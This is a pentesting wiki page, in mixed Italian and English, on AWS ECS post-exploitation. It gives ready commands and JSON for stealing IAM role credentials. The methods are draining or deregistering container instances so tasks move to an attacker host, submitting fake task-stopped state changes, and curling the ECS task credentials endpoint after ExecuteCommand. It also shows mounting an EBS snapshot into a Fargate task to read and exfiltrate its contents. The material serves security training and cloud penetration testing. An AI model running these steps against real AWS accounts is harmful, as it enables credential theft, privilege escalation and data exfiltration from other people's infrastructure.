# AWS - ECS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## ECS

Per maggiori informazioni consulta:

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### Ruoli IAM dell'host

In ECS un **IAM role can be assigned to the task** in esecuzione all'interno del container. **If** il task è eseguito su un'istanza **EC2**, l'**EC2 instance** avrà **another IAM** role collegato.\
Ciò significa che se riesci a **compromise** un'istanza ECS puoi potenzialmente **obtain the IAM role associated to the ECR and to the EC2 instance**. Per maggiori info su come ottenere queste credenziali consulta:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}

> [!CAUTION]
> IMDSv2 con hop limit impostato a 1 **does not** blocca i task awsvpc o host-networked — solo i Docker bridge tasks stanno sufficientemente lontani perché le risposte muoiano. Vedi [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) per il workflow completo dell'attacco e le note sui bypass. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) mostra che i task awsvpc e host continuano a recuperare le credenziali dell'host anche quando IMDSv2+h=1 è applicato.

### Privesc to node to steal other containers creds & secrets

Tuttavia, EC2 usa docker per eseguire i ECS tasks, quindi se riesci a effettuare escape al nodo o ad **access the docker socket**, puoi **check** quali **other containers** sono in esecuzione, e perfino **get inside of them** e **steal their IAM roles** collegati.

#### Making containers run in current host

Inoltre, il **EC2 instance role** solitamente avrà sufficienti **permissions** per **update the container instance state** delle istanze EC2 usate come nodi nel cluster. Un attaccante potrebbe modificare lo **state of an instance to DRAINING**, allora ECS **remove all the tasks from it** e quelli eseguiti come **REPLICA** saranno **run in a different instance,** potenzialmente dentro l'**attackers instance** così da poter **steal their IAM roles** e eventuali informazioni sensibili presenti all'interno del container.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
La stessa tecnica può essere eseguita **deregistrando l'EC2 instance dal cluster**. Questo è potenzialmente meno furtivo ma **costringerà i tasks a essere eseguiti su altre instances:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Una tecnica finale per forzare la riesecuzione delle task consiste nell'indicare a ECS che la **task o il container è stato fermato**. Ci sono 3 API potenziali per farlo:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
#### Join the Cluster With an Attacker Host (Register Container Instance)

Un'altra variante (più diretta rispetto al draining) è **aggiungere capacità sotto il tuo controllo** al cluster registrando un'istanza EC2 come container instance (`ecs:RegisterContainerInstance`) e impostando gli attributi richiesti della container instance in modo che i placement constraints combacino. Una volta che i task vengono eseguiti sul tuo host, puoi ispezionare/eseguire comandi nei container e raccogliere le credenziali `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`.

See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow.

### Steal sensitive info from ECR containers

L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le consente di **scaricare immagini** (potresti cercare informazioni sensibili al loro interno).

### Steal Task Role Credentials via `ecs:ExecuteCommand`

If `ExecuteCommand` is enabled on a task, a principal with `ecs:ExecuteCommand` + `ecs:DescribeTasks` can open a shell inside the running container and then query the **task credentials endpoint** to harvest the **task role** credentials:

- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role

See the ECS privilege escalation page for enumeration and command examples.







### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abusa dell'integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo ECS task/service e leggere i dati dall'interno del container.

- Needs (minimum):
- ecs:RegisterTaskDefinition
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole on:
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles referenced by the task definition
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) Registra una task definition con un volume marcato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi rimane in esecuzione):
```json
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) Crea o aggiorna un servizio passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo infra). Esempio:
```json
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
```
4) Quando il task si avvia, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (ad es., `/loot`). Esfiltra tramite la rete/i log del task.

Pulizia:
```bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
## Riferimenti

- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)

{{#include ../../../../banners/hacktricks-training.md}}
